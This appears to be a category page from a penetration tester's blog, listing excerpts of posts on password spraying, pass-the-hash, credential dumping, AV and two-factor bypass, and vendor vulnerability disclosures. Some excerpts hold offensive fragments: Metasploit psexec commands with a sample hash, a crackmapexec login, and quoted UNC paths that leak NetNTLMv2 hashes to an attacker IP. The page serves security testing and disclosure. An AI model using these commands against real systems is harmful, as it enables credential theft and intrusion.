Category: <span>Pentesting</span>

Resetting Expired Passwords Remotely

I’ve often found that while performing password guessing on a network, I’ll find valid credentials, but the password will be expired.  This presents a challenge, because the credentials are of limited use until they are reset. # crackmapexec smb 10.0.0.15 -u locked -p Password1 SMB         10.0.0.15       445    WIN-NDA9607EHKS  [*] Windows 10.0 Build 17763 x64 (name:WIN-NDA9607EHKS)…


Dumping Plaintext RDP credentials from svchost.exe

Recently I was browsing Twitter and came across a very interesting tweet: Umm- why can I find the password I used to connect to a remote desktop service in cleartext in memory of RDP service? First saw my microsoft accounts pwd- made new local account- same thing. For this user its: wtfmsnotcool pic.twitter.com/lRMhDCMJkH — Jonas…


The Dangers of Endpoint Discovery in VIPRE Endpoint Security

This post documents a security mis-configuation I observed in VIPRE Endpoint Security with Endpoint Discovery.  A few years ago, I published a blog post titled The Dangers of Client Probing on Palo Alto Firewalls, which detailed how client probing feature on Palo Alto firewalls can leak service account password hashes.  This issue is very similar…


Dumping LAPS Passwords from Linux

Following my previous posts on Managing Active Directory groups from Linux and Alternative ways to Pass the Hash (PtH), I want to cover ways to perform certain attacks or post-exploitation actions from Linux.  I’ve found that there are two parallel ways to operate on an internal network, one being through a compromised (typically Windows) host,…


Alternative ways to Pass the Hash (PtH)

Do you remember the first time you passed the hash?  It probably went a little something like this: msf > use exploit/windows/smb/psexec msf exploit(psexec) > set SMBPass e52cac67419a9a224a3b108f3fa6cb6d:8846f7eaee8fb117ad06bdd830b7586c SMBPass => e52cac67419a9a224a3b108f3fa6cb6d:8846f7eaee8fb117ad06bdd830b7586c msf exploit(psexec) > exploit [*] Sending stage (719360 bytes) [*] Meterpreter session 1 opened (192.168.57.133:443 -> 192.168.57.131:1045) If you are unfamiliar, that is the…


Password Spraying Secure Logon for F5 Networks

Next in the series of password spraying posts, I’m going to discuss password spraying on the web based logon for F5.  Previously I had written how to password spray against Dell SonicWALL, which makes use of CSRF tokens.  F5 is a little different.  It does not use CSRF tokens, but it does rate limit you…


Extracting files from Burp Intruder Output

I recently found an Insecure Direct Object Reference (IDOR) vulnerability in a web application that I was testing. By incrementing or decrementing an ID value, I could download any file in the application, even though they were not listed for download in the user interface. A simple way to exploit this kind of attack is…


Exploiting LDAP Server NULL Bind

I was recently on a penetration test that was completely locked down, I was completely alone in my subnet, and almost all of my scope targets were firewalled off.  After running a bunch of port scans, I was left only with a few SSH services on port 22, and one Secure LDAP server on port…


Managing Active Directory groups from Linux

I recently came across a peculiar scenario that caused me to have to think a little outside the box. I was able to obtain credentials for an account that was part of the “Account Operators” group.  Here is Microsoft’s description of that group: The Account Operators group grants limited account creation privileges to a user….


Zero day vulnerabilities in Determine Selectica Contract Lifecycle Management (SCLM)

Recently I discovered multiple high severity vulnerabilities in Selectica Contract Lifecycle Management (SCLM) version 5.4.  Cross-site Scripting (XSS) There was no shortage of XSS in this app.  Here’s an example from a light scan with Burp Suite: This is pretty easy to leverage for account takeover, even more so because the HTTPOnly flag was not…


Password Spraying Dell SonicWALL Virtual Office

Today I came across a Dell SonicWALL virtual office login page.  Typically what I will do when I see something like this is I will perform a password spray against it based on usernames I have collected from Open Source Intelligence (OSINT) during the reconnaissance phase of my pentest.  Typically I will not try to…


Introducing Slackor, a Remote Access Tool Using Slack as a C2 Channel

As a penetration tester at Coalfire Labs, I frequently use exploitation frameworks such as Metasploit or PowerShell Empire to perform post-exploitation actions on compromised endpoints. While anti-virus (AV) bypass and detection avoidance is often trivial in all but the most mature environments, detections from AV have caused me to look toward custom tooling to mitigate…


Understanding UNC paths, SMB, and WebDAV

While browsing Twitter recently I came upon a tweet that I found to be very interesting: Did know that u can steal #NetNTLMv2 by changing #SMB port to bypass sec-things: net use \\1.2.3.4@80\tor pdf : /F (\\\\IP@80\\t)or dubdoc : ///IP@80/tor doc: Target="file://IP@80/t.dotx"or lnk: URL=file://IP@80/t.htmor: IconFile=\\IP@80\t.ico#RedTeam #NTLM cc @ddouhine — V (@mynameisv__) April 30, 2019 I…


Exploiting Genuitec Secure Delivery Center (SDC) < Version 5.4.7 (Local File Inclusion)

A local file inclusion vulnerability exists in Genuitec Secure Delivery Center (SDC) in versions lower than 5.4.7.  This vulnerability can be exploited to gain admin access to the application. To Exploit the LFI, an attacker can insert a series of “..\”‘s into the URL to move up the directory structure. The attacker will need to…


Popping shells on Splunk

Every now and then when testing networks, I run into Splunk.  Splunk is a software platform to search, analyze and visualize data.  It is super useful for all sorts of purposes.  As a pentester, it can be useful as it often contains all sorts of data, some of which may be sensitive.  Gaining access to…


Dark Tip: Avoiding SSL Inspection on Palo Alto Firewalls

When I stood up a Palo Alto firewall to do research for my blog post on The Dangers of Client Probing on Palo Alto Firewalls, I also found something interesting in the UI.  Under Device -> Certificate Management -> SSL Decryption Exclusion there was a list of domains that by default were exempt from SSL…


Bypassing Duo Two-Factor Authentication (Fail Open)

Often times while performing penetration tests it may be helpful to connect to a system via the Remote Desktop Protocol (RDP). I typically use rdesktop or xfreerdp to connect to host once I have obtained credentials to do all sorts of things such as use Active Directory Users and Computers or SQL Management Studio.  One…


Executing Meterpreter in Memory on Windows 10 and Bypassing AntiVirus (Part 2)

Cunningham’s Law states “the best way to get the right answer on the internet is not to ask a question; it’s to post the wrong answer.” While I haven’t been the target of any negative feedback, after posting my blog post: Executing Meterpreter in Memory on Windows 10 and Bypassing AntiVirus, I’ve realized that some…


Executing Meterpreter in Memory on Windows 10 and Bypassing AntiVirus

Recently I read the article on the Coalfire Blog about executing an obfuscated PowerShell payload using Invoke-CradleCrafter.  This was very useful, as Windows Defender has upped its game lately and is now blocking Metasploit’s Web Delivery module.  I wanted to demonstrate an alternate way to achieve the same goal, with the intention of not dropping…


Microsoft Word upload to Stored XSS

Anytime I find a file upload form I test it.  Best case scenario is that I can upload a reverse shell in a scripting language available on the webserver.  If the application is running in PHP or ASP for example, it becomes quite easy.  If I can’t get a backdoor uploaded, I will attempt to…